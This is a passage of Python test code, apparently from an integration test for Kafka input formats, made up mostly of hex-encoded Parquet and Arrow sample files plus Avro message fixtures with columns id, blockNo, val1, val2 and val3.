x00\x00\x00\x26\xb2\x06\x1c\x15\x0c\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x31\x15\x02\x16\x1e\x16\x68\x16\x70\x26\xee\x05\x26\xc2\x05\x1c\x36\x00\x28\x02\x41\x4d\x18\x02\x41\x4d\x00\x00\x00\x26\x9a\x08\x1c\x15\x08\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x32\x15\x02\x16\x1e\x16\x84\x01\x16\x8c\x01\x26\xb6\x07\x26\x8e\x07\x1c\x18\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x16\x00\x28\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x00\x00\x00\x26\x8e\x0a\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x33\x15\x02\x16\x1e\x16\x6c\x16\x74\x26\xc2\x09\x26\x9a\x09\x1c\x36\x00\x28\x04\x01\x00\x00\x00\x18\x04\x01\x00\x00\x00\x00\x00\x00\x16\xa6\x06\x16\x1e\x00\x28\x22\x70\x61\x72\x71\x75\x65\x74\x2d\x63\x70\x70\x20\x76\x65\x72\x73\x69\x6f\x6e\x20\x31\x2e\x35\x2e\x31\x2d\x53\x4e\x41\x50\x53\x48\x4f\x54\x19\x5c\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x00\xc5\x01\x00\x00\x50\x41\x52\x31',
b'\x50\x41\x52\x31\x15\x04\x15\x10\x15\x14\x4c\x15\x02\x15\x04\x12\x00\x00\x08\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x15\x00\x15\x06\x15\x0a\x2c\x15\x02\x15\x04\x15\x06\x15\x06\x1c\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x28\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x08\x01\x02\x00\x26\xbc\x01\x1c\x15\x04\x19\x35\x04\x00\x06\x19\x18\x02\x69\x64\x15\x02\x16\x02\x16\xac\x01\x16\xb4\x01\x26\x38\x26\x08\x1c\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x28\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x04\x15\x08\x15\x0c\x4c\x15\x02\x15\x04\x12\x00\x00\x04\x0c\x00\x00\x00\x00\x15\x00\x15\x06\x15\x0a\x2c\x15\x02\x15\x04\x15\x06\x15\x06\x1c\x36\x00\x28\x04\x00\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00\x00\x03\x08\x01\x02\x00\x26\xc8\x03\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x15\x02\x16\x02\x16\x6c\x16\x74\x26\xfc\x02\x26\xd4\x02\x1c\x36\x00\x28\x04\x00\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00\x00\x15\x04\x15\x0c\x15\x10\x4c\x15\x02\x15\x04\x12\x00\x00\x06\x14\x02\x00\x00\x00\x41\x4d\x15\x00\x15\x06\x15\x0a\x2c\x15\x02\x15\x04\x15\x06\x15\x06\x1c\x36\x00\x28\x02\x41\x4d\x18\x02\x41\x4d\x00\x00\x00\x03\x08\x01\x02\x00\x26\xa2\x05\x1c\x15\x0c\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x31\x15\x02\x16\x02\x16\x68\x16\x70\x26\xde\x04\x26\xb2\x04\x1c\x36\x00\x28\x02\x41\x4d\x18\x02\x41\x4d\x00\x00\x00\x15\x04\x15\x08\x15\x0c\x4c\x15\x02\x15\x04\x12\x00\x00\x04\x0c\x00\x00\x00\x3f\x15\x00\x15\x06\x15\x0a\x2c\x15\x02\x15\x04\x15\x06\x15\x06\x1c\x18\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x16\x00\x28\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x00\x00\x00\x03\x08\x01\x02\x00\x26\x8a\x07\x1c\x15\x08\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x32\x15\x02\x16\x02\x16\x84\x01\x16\x8c\x01\x26\xa6\x06\x26\xfe\x05\x1c\x18\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x16\x00\x28\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x00\x00\x00\x15\x04\x15\x08\x15\x0c\x4c\x15\x02\x15\x04\x12\x00\x00\x04\x0c\x01\x00\x00\x00\x15\x00\x15\x06\x15\x0a\x2c\x15\x02\x15\x04\x15\x06\x15\x06\x1c\x36\x00\x28\x04\x01\x00\x00\x00\x18\x04\x01\x00\x00\x00\x00\x00\x00\x03\x08\x01\x02\x00\x26\xfe\x08\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x33\x15\x02\x16\x02\x16\x6c\x16\x74\x26\xb2\x08\x26\x8a\x08\x1c\x36\x00\x28\x04\x01\x00\x00\x00\x18\x04\x01\x00\x00\x00\x00\x00\x00\x15\x02\x19\x6c\x35\x00\x18\x06\x73\x63\x68\x65\x6d\x61\x15\x0a\x00\x15\x04\x25\x00\x18\x02\x69\x64\x00\x15\x02\x25\x00\x18\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x25\x18\x4c\xac\x13\x10\x12\x00\x00\x00\x15\x0c\x25\x00\x18\x04\x76\x61\x6c\x31\x25\x00\x4c\x1c\x00\x00\x00\x15\x08\x25\x00\x18\x04\x76\x61\x6c\x32\x00\x15\x02\x25\x00\x18\x04\x76\x61\x6c\x33\x25\x16\x4c\xac\x13\x08\x12\x00\x00\x00\x16\x02\x19\x1c\x19\x5c\x26\xbc\x01\x1c\x15\x04\x19\x35\x04\x00\x06\x19\x18\x02\x69\x64\x15\x02\x16\x02\x16\xac\x01\x16\xb4\x01\x26\x38\x26\x08\x1c\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x28\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x26\xc8\x03\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x15\x02\x16\x02\x16\x6c\x16\x74\x26\xfc\x02\x26\xd4\x02\x1c\x36\x00\x28\x04\x00\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00\x00\x26\xa2\x05\x1c\x15\x0c\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x31\x15\x02\x16\x02\x16\x68\x16\x70\x26\xde\x04\x26\xb2\x04\x1c\x36\x00\x28\x02\x41\x4d\x18\x02\x41\x4d\x00\x00\x00\x26\x8a\x07\x1c\x15\x08\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x32\x15\x02\x16\x02\x16\x84\x01\x16\x8c\x01\x26\xa6\x06\x26\xfe\x05\x1c\x18\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x16\x00\x28\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x00\x00\x00\x26\xfe\x08\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x33\x15\x02\x16\x02\x16\x6c\x16\x74\x26\xb2\x08\x26\x8a\x08\x1c\x36\x00\x28\x04\x01\x00\x00\x00\x18\x04\x01\x00\x00\x00\x00\x00\x00\x16\x98\x05\x16\x02\x00\x28\x22\x70\x61\x72\x71\x75\x65\x74\x2d\x63\x70\x70\x20\x76\x65\x72\x73\x69\x6f\x6e\x20\x31\x2e\x35\x2e\x31\x2d\x53\x4e\x41\x50\x53\x48\x4f\x54\x19\x5c\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x00\xc4\x01\x00\x00\x50\x41\x52\x31',
],
},
'AvroConfluent': {
'data_sample': [
avro_confluent_message(schema_registry_client,
{'id': 0, 'blockNo': 0, 'val1': str('AM'), 'val2': 0.5, "val3": 1}),
b''.join([avro_confluent_message(schema_registry_client,
{'id': id, 'blockNo': 0, 'val1': str('AM'),
'val2': 0.5, "val3": 1}) for id in range(1, 16)]),
avro_confluent_message(schema_registry_client,
{'id': 0, 'blockNo': 0, 'val1': str('AM'), 'val2': 0.5, "val3": 1}),
],
'extra_settings': ", format_avro_schema_registry_url='http://{}:{}'".format(
kafka_cluster.schema_registry_host,
8081
),
'supports_empty_value': True,
},
'Avro': {
# It seems impossible to send more than one avro file per a message
# because of nature of Avro: blocks go one after another
'data_sample': [
avro_message({'id': 0, 'blockNo': 0, 'val1': str('AM'), 'val2': 0.5, "val3": 1}),
avro_message([{'id': id, 'blockNo': 0, 'val1': str('AM'),
'val2': 0.5, "val3": 1} for id in range(1, 16)]),
avro_message({'id': 0, 'blockNo': 0, 'val1': str('AM'), 'val2': 0.5, "val3": 1}),
],
'supports_empty_value': False,
},
'Arrow' : {
'data_sample' : [
b'\x41\x52\x52\x4f\x57\x31\x00\x00\xff\xff\xff\xff\x48\x01\x00\x00\x10\x00\x00\x00\x00\x00\x0a\x00\x0c\x00\x06\x00\x05\x00\x08\x00\x0a\x00\x00\x00\x00\x01\x03\x00\x0c\x00\x00\x00\x08\x00\x08\x00\x00\x00\x04\x00\x08\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\xe4\x00\x00\x00\x9c\x00\x00\x00\x6c\x00\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x40\xff\xff\xff\x00\x00\x00\x02\x18\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x72\xff\xff\xff\x08\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x33\x00\x00\x00\x00\x6c\xff\xff\xff\x00\x00\x00\x03\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x06\x00\x06\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x76\x61\x6c\x32\x00\x00\x00\x00\xa0\xff\xff\xff\x00\x00\x00\x05\x18\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x04\x00\x04\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x31\x00\x00\x00\x00\xcc\xff\xff\xff\x00\x00\x00\x02\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x04\x00\x06\x00\x00\x00\x10\x00\x00\x00\x07\x00\x00\x00\x62\x6c\x6f\x63\x6b\x4e\x6f\x00\x10\x00\x14\x00\x08\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x10\x00\x10\x00\x00\x00\x00\x00\x00\x02\x24\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0c\x00\x08\x00\x07\x00\x08\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x02\x00\x00\x00\x69\x64\x00\x00\xff\xff\xff\xff\x58\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x16\x00\x06\x00\x05\x00\x08\x00\x0c\x00\x0c\x00\x00\x00\x00\x03\x03\x00\x18\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x18\x00\x0c\x00\x04\x00\x08\x00\x0a\x00\x00\x00\xcc\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x10\x00\x00\x00\x0c\x00\x14\x00\x06\x00\x08\x00\x0c\x00\x10\x00\x0c\x00\x00\x00\x00\x00\x03\x00\x3c\x00\x00\x00\x28\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x58\x01\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x00\x00\x00\x04\x00\x08\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\xe4\x00\x00\x00\x9c\x00\x00\x00\x6c\x00\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x40\xff\xff\xff\x00\x00\x00\x02\x18\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x72\xff\xff\xff\x08\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x33\x00\x00\x00\x00\x6c\xff\xff\xff\x00\x00\x00\x03\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x06\x00\x06\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x76\x61\x6c\x32\x00\x00\x00\x00\xa0\xff\xff\xff\x00\x00\x00\x05\x18\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x04\x00\x04\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x31\x00\x00\x00\x00\xcc\xff\xff\xff\x00\x00\x00\x02\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x04\x00\x06\x00\x00\x00\x10\x00\x00\x00\x07\x00\x00\x00\x62\x6c\x6f\x63\x6b\x4e\x6f\x00\x10\x00\x14\x00\x08\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x10\x00\x10\x00\x00\x00\x00\x00\x00\x02\x24\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0c\x00\x08\x00\x07\x00\x08\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x02\x00\x00\x00\x69\x64\x00\x00\x78\x01\x00\x00\x41\x52\x52\x4f\x57\x31',
b'\x41\x52\x52\x4f\x57\x31\x00\x00\xff\xff\xff\xff\x48\x01\x00\x00\x10\x00\x00\x00\x00\x00\x0a\x00\x0c\x00\x06\x00\x05\x00\x08\x00\x0a\x00\x00\x00\x00\x01\x03\x00\x0c\x00\x00\x00\x08\x00\x08\x00\x00\x00\x04\x00\x08\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\xe4\x00\x00\x00\x9c\x00\x00\x00\x6c\x00\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x40\xff\xff\xff\x00\x00\x00\x02\x18\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x72\xff\xff\xff\x08\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x33\x00\x00\x00\x00\x6c\xff\xff\xff\x00\x00\x00\x03\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x06\x00\x06\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x76\x61\x6c\x32\x00\x00\x00\x00\xa0\xff\xff\xff\x00\x00\x00\x05\x18\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x04\x00\x04\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x31\x00\x00\x00\x00\xcc\xff\xff\xff\x00\x00\x00\x02\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x04\x00\x06\x00\x00\x00\x10\x00\x00\x00\x07\x00\x00\x00\x62\x6c\x6f\x63\x6b\x4e\x6f\x00\x10\x00\x14\x00\x08\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x10\x00\x10\x00\x00\x00\x00\x00\x00\x02\x24\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0c\x00\x08\x00\x07\x00\x08\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x02\x00\x00\x00\x69\x64\x00\x00\xff\xff\xff\xff\x58\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x16\x00\x06\x00\x05\x00\x08\x00\x0c\x00\x0c\x00\x00\x00\x00\x03\x03\x00\x18\x00\x00\x00\x48\x01\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x18\x00\x0c\x00\x04\x00\x08\x00\x0a\x00\x00\x00\xcc\x00\x00\x00\x10\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x38\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x38\x01\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x06\x00\x00\x00\x08\x00\x00\x00\x0a\x00\x00\x00\x0c\x00\x00\x00\x0e\x00\x00\x00\x10\x00\x00\x00\x12\x00\x00\x00\x14\x00\x00\x00\x16\x00\x00\x00\x18\x00\x00\x00\x1a\x00\x00\x00\x1c\x00\x00\x00\x1e\x00\x00\x00\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x41\x4d\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\xff\xff\xff\xff\x00\x00\x00\x00\x10\x00\x00\x00\x0c\x00\x14\x00\x06\x00\x08\x00\x0c\x00\x10\x00\x0c\x00\x00\x00\x00\x00\x03\x00\x3c\x00\x00\x00\x28\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x58\x01\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x00\x00\x00\x00\x48\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x00\x00\x00\x04\x00\x08\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\xe4\x00\x00\x00\x9c\x00\x00\x00\x6c\x00\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x40\xff\xff\xff\x00\x00\x00\x02\x18\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x72\xff\xff\xff\x08\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x33\x00\x00\x00\x00\x6c\xff\xff\xff\x00\x00\x00\x03\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x06\x00\x06\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x76\x61\x6c\x32\x00\x00\x00\x00\xa0\xff\xff\xff\x00\x00\x00\x05\x18\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x04\x00\x04\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x31\x00\x00\x00\x00\xcc\xff\xff\xff\x00\x00\x00\x02\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x04\x00\x06\x00\x00\x00\x10\x00\x00\x00\x07\x00\x00\x00\x62\x6c\x6f\x63\x6b\x4e\x6f\x00\x10\x00\x14\x00\x08\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x10\x00\x10\x00\x00\x00\x00\x00\x00\x02\x24\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0c\x00\x08\x00\x07\x00\x08\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x02\x00\x00\x00\x69\x64\x00\x00\x78\x01\x00\x00\x41\x52\x52\x4f\x57\x31',
b'\x41\x52\x52\x4f\x57\x31\x00\x00\xff\xff\xff\xff\x48\x01\x00\x00\x10\x00\x00\x00\x00\x00\x0a\x00\x0c\x00\x06\x00\x05\x00\x08\x00\x0a\x00\x00\x00\x00\x01\x03\x00\x0c\x00\x00\x00\x08\x00\x08\x00\x00\x00\x04\x00\x08\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\xe4\x00\x00\x00\x9c\x00\x00\x00\x6c\x00\x00\x00\x34\x00\x00\x00\x04\x00\x00\x00\x40\xff\xff\xff\x00\x00\x00\x02\x18\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x72\xff\xff\xff\x08\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x33\x00\x00\x00\x00\x6c\xff\xff\xff\x00\x00\x00\x03\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x06\x00\x06\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x76\x61\x6c\x32\x00\x00\x00\x00\xa0\xff\xff\xff\x00\x00\x00\x05\x18\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x04\x00\x04\x00\x00\x00\x04\x00\x00\x00\x76\x61\x6c\x31\x00\x00\x00\x00\xcc\xff\xff\xff\x00\x00\x00\x02\x20\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x04\x00\x06\x00\x00\x00\x10\x00\x00\x00\x07\x00\x00\x00\x62\x6c\x6f\x63\x6b\x4e\x6f\x00\x10\x00\x14\x00\x08\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x10\x00\x10\x00\x00\x00\x00\x00\x00\x02\x24\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0c\x00\x08\x00\x07\x00\x08\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x02\x00\x00\x00\x69\x64\x00\x00\xff\xff\xff\xff\x58\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x16\x00\x06\x00\x05\x00\x08\x00\x0c\x00\x0c\x00\x00\x00\x00\x03\x03\x00\x18\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x18\x00\x0c\x00\x04\x00\x08\x00\x0a\x00\x00\x00\xcc\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x10\x00\x00\x00\x0c\x00\x14\x00\x06\x00\x08\x00\x0c\x00\x10\x00\x0c\x00\x00\x00\x00\x00\x03\x00\x3c\x00\x00\x00\x28\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x58\x01\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x00\x00\x00\